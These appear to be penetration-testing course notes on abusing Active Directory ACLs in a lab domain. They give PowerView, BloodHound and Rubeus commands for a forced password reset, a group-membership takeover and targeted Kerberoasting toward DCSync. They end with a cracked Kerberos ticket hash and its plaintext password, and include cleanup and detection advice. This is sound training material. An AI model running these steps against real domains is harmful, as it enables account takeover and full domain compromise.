Not all users and computers in an AD env can access all objects and files.
- this is usually controlled with ACLs
- Slight misconfiguration to ACLs can leak permissions
- ACLs define:
- Who has access to which asset/resources
- Called ACEs (access control entries)
- The level of access they are provisioned.
- Who has access to which asset/resources
ACEs map to users, groups, and processes (known as security principals) and define rights granted to that principal. Every object has an ACL but can have multiple ACEs because multiple security principals access objects in AD. ACLs can be used for auditing access.
Two types of ACLs:
- Discretionary access control list (DACL)
- Define which security principals are granted/denied access to an object. DACLs consist of ACEs that either allow or deny access.
- DACL does not exist = everyone full access
- DACL DOES exist but no ACEs = everyone implicitly denied
- System access control list (SACL)
- allow admins to log access attempts made to secure objects
Three main types of ACEs:
- Access denied ACE (explicit deny)
- Access allowed ACE (explicit allow)
- System Audit ACE (used within SACLs to generate audit logging when security princ. access an obj and whether access was granted.)
ACEs made up of four components:
- SID of user/group with access (or principal name, graphically)
- Flag denoting type of ACE (the 3 found above)
- Set of flags specifying child containers/objects inherit given ACE entry from parent
- access mask, which is a 32-bit value defining the rights granted to an object.
Viewed graphically by admins using active directory users and computers (ADUC)
Why are ACEs important?
Misconfigurations allow further access or persistence Incorrectly applied ACEs are not detected by vuln scanning tools, and often go unchecked for years. ACL abuse can be a great way to move laterally/vertically. Example AD obj security permissions below:
ForceChangePasswordabused withSet-DomainUserPassword- more/less self explanatory. reset passwords.
Add Membersabused withAdd-DomainGroupMemberGenericAllabused withSet-DomainUserPasswordorAdd-DomainGroupMember- Full control over a target object. The attack vectors explained below apply.
- If we have this permission and LAPS is in use, we can read the LAPS password and gain local admin access to the machine which may aid us in lateral movement/privilege escalation.
GenericWriteabused withSet-DomainObject- right to write non-protected attributes on an object. if we have this access over a user, we could assign them an SPN and kerberoast them.
- Over a group, we could add ourselves or another security principal to the given group.
- Over a computer object, we can perform resource-based constrained delegation attack
WriteOwnerabused withSet-DomainObjectOwnerWriteDACLabused withAdd-DomainObjectACLAllExtendedRightsabused withSet-DomainUserPasswordorAdd-DomainGroupMemberAddselfabused withAdd-DomainGroupMember
We can enumerate with bloodhound. All abusable with powerview.
When we look at interesting ACLs/ACEs we should always pay attention to the bloodhound output and edge help - it will tell us what ACL is abusable, and what tools could potentially be used to assist us with that abuse. Other times it may be necessary (i.e. Unexpire-Password , Reanimate-tombstones) to do a bit of research to figure out how to exploit
ACL attacks are for:
- Lateral movement
- Privilege escalation
- Persistence
Common attack scenarios: Abusing forgot password permissions
- Helpdesk/IT often granted perms to perform password resets with privileged tasks. If we take over an account with these privileges (or an account in a group that confers these privileges) we may be able to perform a password reset for a more privileged account in the domain. Abusing group membership management
- Again, helpdesk might be able to add/remove users from a group. We may be able to add an account we control into a privileged built-in AD group or another that gives interesting privileges. Excessive user rights
- Common to see user/computer/group objects with excessive rights the client is unaware of. This can occur after some software install (Exchange, for example, adds many ACL changes into env on install) or some kind of legacy / accidental configuration that gives a user unintended rights. Admins may give users more privileges than necessary to solve an annoying problem quicker.
Keep note:
Some acl attacks are destructive - changing a user's password, or other modifications within a clients AD domain.
It's always worth running an attack by the client before performing it to have written documentation of their approval.
Carefully document your attacks! from start to finish, so we can revert after the engagement. This data should be included in our report, but also highlight changes we make clearly.
ACL Enumeration
We can enumerate acls with powerview and bloodhound.
- Powerview works to enumerate manually, but the act of digging through all the results is extremely time consuming (and likely inaccurate)
Powerview:
Find-InterestingDomainAcl
returns a massive amnt of info we would have to dig through to find anything interesting. If the domain is big enough we would likely never get through all of it.
Targeted enumeration is much more effective.
In our scenario, let's focus on user wley (ref. [[00a. Scenario specific information]])
Import-Module .\PowerView.ps1
$sid = Convert-NameToSid wley
We need to know the SID of a user to enumerate it appropriately.
We can then use Get-DomainObjectACL func to perform a targeted search.
$sidmaps toSecurityIdentifierproperty which is what tells us WHO has given rights over an object.- If we search without the flag
ResolveGUIDswe will see results like we get below, where the rightExtendedRightdoes not give us a clear picture of what ACE entry the userwleyhas overdamundsen- This is becauseObjectAceTypeis returning a GUID that isn't human readable.
PS C:\htb> Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid}
This may take a while to run in a large environment.
GUID referred to above is in the ObjectAceType field.
Googling this guid value we will return this MS page showing the user has the right to force change the other user's password.
https://docs.microsoft.com/en-us/windows/win32/adschema/r-user-force-change-password
Alternatively we can do a reverse search using powershell to map the right name back to the GUID value.
PS C:\htb> $guid= "00299570-246d-11d0-a768-00aa006e0529"
PS C:\htb> Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * |Select Name,DisplayName,DistinguishedName,rightsGuid| ?{$_.rightsGuid -eq $guid} | fl
This works but would be highly inefficient.
Powerview has the ResolveGuids flag which does this for us.
PS C:\htb> Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
We show this because its important to know how to do the equivalent natively incase a tool fails, or is blocked.
Let's look at Get-Acl and Get-ADUser cmdlets. Again this is inefficient and will take much longer than an equivalent cmd using powerview, but this is assuming we cannot use it.
Creating a list of Domain Users:
PS C:\htb> Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt
We can read each line of the above file we've output and use the Get-Acl cmdlet to retrieve acl information for each domain user.
We select just the Access Property which gives us access rights. Finally, set IdentityReference property to the user we are in control of (or looking to see what rights they have) - in our case, wley
foreach($line in [System.IO.File]::ReadLines("C:\Users\htb-student\Desktop\ad_users.txt")) {get-acl "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'INLANEFREIGHT\\wley'}}
Once we have this data we can use the same methods as above to convert GUID to a readable format and understand what rights we have over the target user.
To recap: wley is enumerated to have control over the user damundsen via the User-Force-Change-Password extended right. We can use Powerview to hunt for where, if anywhere, control over damundsen would take us.
$sid2 = Convert-NameToSid damundsen
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid2} -Verbose
Output of the above would indicate damundsen has GenericWrite privileges over the Help Desk Level 1 group. Meaning, we can add any user to this group and inherit any rights.
AceType : AccessAllowed
ObjectDN : CN=Help Desk Level 1,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
Running:
Get-DomainGroup -Identity "Help Desk Level 1" | select memberof
output;
CN=Information Technology,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
Help Desk Level 1 is nested into the Information Technology group, inheriting its' privileges.
We can repeat this process with the Information Technology group and enumerate what privileges it has with Get-DomainObjectACL
$itgroupsid = Convert-NameToSid "Information Technology"
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $itgroupsid} -Verbose
Outputs:
ObjectDN : CN=Angela Dunn,OU=Server Admin,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : GenericAll
Which tells us we can genericwrite on user adunn
Now, let's see what adunn can do.
$adunnsid = Convert-NameToSid adunn
Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $adunnsid} -Verbose
This reveals output:
ObjectDN : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
ObjectAceType : DS-Replication-Get-Changes-In-Filtered-Set
ObjectDN : DC=INLANEFREIGHT,DC=LOCAL
ActiveDirectoryRights : ExtendedRight
ObjectAceType : DS-Replication-Get-Changes
We have DS-Replication-Get-Changes and DS-Replication-Get-Changes-In-Filtered-Set privileges over the domain object.
This reveals we can perform a DCSync attack, covered later.
Abusing ACLs
Again, assuming access to wley user we captured NTLM hash with responder from and crack hash.
We know that we can use this access to get control of adunn who can perform a DCSync attack; giving us full control of the domain by allowing us to retrieve the NTLM password hashes for all users in the domain and escalate privileges to DA
- Use wley user to change pw for damundsen
- Authenticate as damundsen user and leverage GenericAll dacl rights to add a user that we control to the Help Desk Level 1 group
- Take advantage of nested group membership between
Help Desk Level 1<->Information Technologygroup and leverage GenericAll writes to take control of theadunnuser.
Changing a user's password with User-Force-Change-Password extended rights
Auth as wley:
(Skippable if already running as wley)
$SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)
Create SecureString obj which represents the pw we want to set for target user damundsen
$damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
We'll use Set-DomainUserPassword PowerView function to change damundsen's pw. We need to use:
-Credentialflag with the cred object we created forwley-Verbosejust for feedback We can do the same thing from linux attack host usingpth-netpart of the pth toolkit https://github.com/byt3bl33d3r/pth-toolkit
cd C:\Tools\
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose
Similar process to authenticate as damundsen and add ourselves to the help desk group.
$SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
$Cred2 = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword)
Next use Add-DomainGroupMember function to add ourselves to the group. Again, able to be done with pth-toolkit
First confirm members of the group:
Get-ADGroup -Identity "Help Desk Level 1" -Properties * | Select -ExpandProperty Members
Then, add:
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose
Confirm:
Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName
Now, we should be able to take control of the adunn user.
Assume client said we could change damundsen password but adunn is an admin account that cannot be interrupted. Since we have GenericAll privileges, we can just perform a targeted Kerberoasting attack by modifying the account's servicePrincipalName attribute to create a fake SPN that we can then kerberoast and obtain a TGS ticket for which we can later crack offline.
- Must be auth as member of
Information Technologygroup to do this. - Since we added
damundsento thehelp desk level 1group , we inerhited those rights via nested group membership.
Use Set-DomainObject to create the fake SPN.
targetedKerberoasttool performs the same actions. https://github.com/ShutdownRepo/targetedKerberoast- creates temporary spn, retrieves hash, and deletes temporary spn in one command
Creating a fake spn:
Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose
Rubeus:
.\Rubeus.exe kerberoast /user:adunn /nowrap
Cleanup:
remove fake spn:
PS C:\htb> Set-DomainObject -Credential $Cred2 -Identity adunn -Clear serviceprincipalname -Verbose
remove damundsen from group:
PS C:\htb> Remove-DomainGroupMember -Identity "Help Desk Level 1" -Members 'damundsen' -Credential $Cred2 -Verbose
confirm group removal:
PS C:\htb> Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName |? {$_.MemberName -eq 'damundsen'} -Verbose
Detection and Remediation of ACL abuse
- Auditing, removing dangerous ACLs
- Regular AD audits and run bloodhound against themselves
- Monitor group membership
- High-impact groups should be monitored to alert IT staff
- Audit and monitor for ACL changes
Advanced security Audit Policyusage.- event
5136: directory service obj modified
Auditing 5136 we can see its written in SDDL language. Use ConvertFrom-SddlString to convert it to a readable format.
scenario info
$krb5tgs$23$*adunn$INLANEFREIGHT.LOCAL$notahacker/LEGIT@INLANEFREIGHT.LOCAL*$e26de731e453e7ee98f335929b59398d$b868a327691604322fdb2209c7ed202bedfe265309481083b641b96fbafcc4c17894e58791db8ae3af02a7b066c7c0ff19e55ddaab860e90036dd69a5512a4a092b7d58983f3fb7bc2a09f73b772714f98d24eb861040aad7d6d9f292519c9f542b8c37fe4bd49064ce1afd9f92c893e83432dfbe83f305ee73476050a172018dfb27fbbd97d43557265083c50270ab0bff4bd824e11d248b64618fb1e63ae8b69a2c48e763e19ad16853b9668f299a68f1fcc56332a9ebd11a0771fbfc6ab78a02b6ac69b7dc07d2a868dbbdf38f5b227df4c19cfd93aebc2e1834f6b2b724c2d7b89048aa7ff52a33181b000e3b9d9b20c8841b0325e3677fdd7fbdcbcba2a3a41373350da66d0cb28bb48fc3f9636f142709a5e94f3137568eafa42468bcb2e8f26d38011a6980f94d38e059988e443346af27a84a445da6519d1b8026fadb5d2f4a80c8121609f29fa4bb24b2cbffe4cd998ef892db1f0862314aa7f4e22a95b4e8f045fd2348179b95121dc7a39253dfcd01287468b307b17dc0f7336274c5d3fe173ba80b32b85c22a2040dddb42573eb1307f78f2ab5448fbb4a659b2acfee507238e1130d13f11e127df888839256777ec1e09ca86d6d5edf5383a8c87776e25166e92de7a1ab93d96065a1a70c3fee6a1a3a0d07eb6e819ad182dba613d54d05891a371d75b5899bfeeaca44c70bc8a69d57b9e5436cbd1118e818f5e4837aaa039948a159f55311d9b8bb9f843fe0dc7ae7e2ccf70f9cd028405eea86f3403e5fd396dde1bcb51f0d3a30be7b9d2521d928e1d4a6f239c48b92877e49fe9ba020c6f655a4f23d30c5164d335497a52de51a40c098eddbd928d0734ced02a56033664983026f665fab212ae2601569ad237e8f4f6b55ecced0b296b9337f9dc212eb4862981220de1b037296476d77d106e609896dd301ec5e9c56b402cd43eb0c164032be4ff77fe3ded06d1290d911dd8a179fe2c3f628fbe9542b45b160672709c0e9ab9e7a451efdd362964b2774cd1dd8e2199182f5da997a83208e5080110b5e709a63ad9a71f6940e7a2302358c77ac7feb17da255244fd3df22a4651abaa59f6d93715d39e76bd38942f89281a6d44e8072269001c9b5235ae44cd10fb6e7e934c1a084aa3c0a23a5acc2ef7b697ad777d9f6c959e056b5e40b49df16ad113d75a3c0614973da2dd8187acf786a2c22d6c65f753bc30f790e465e0da5d7134790af1fe553901d013d8761499a8953c233f74f58a3804e35b606eed141d152e319a1ff1f2a69e51124241ba6f32f603e911e040756d0903eff280b5d9d3106a4d6bc5476e2f7636bd923867f04b8425ad6be10d3baca2f60da18099687eefc226b067a1e16df2a74bf639257632b19559a869796bacd83e54b3f35c399ddba1667093c23a3926240dbda29666f13cfc9abcd8e2f448d22123253ac6e14c8d8f3e9c47b125be8c7a92cf6e21f9059cfbe8186f5b395d8e29e67d206f2309c67571e918c4465287ea238bd67b262b7bc9c7902e5f05cef2f29b53fcbf05faab70cfb71a6353b6191e53cf7f27c6042abec6ce63a98dea34ee43ddfdf27642b44acd93438334068705fa82cde82302f11caafd95279b94ff4e34e7200836c3a95d1b78234b43c43932023f10e9a7cb013fda4:SyncMaster757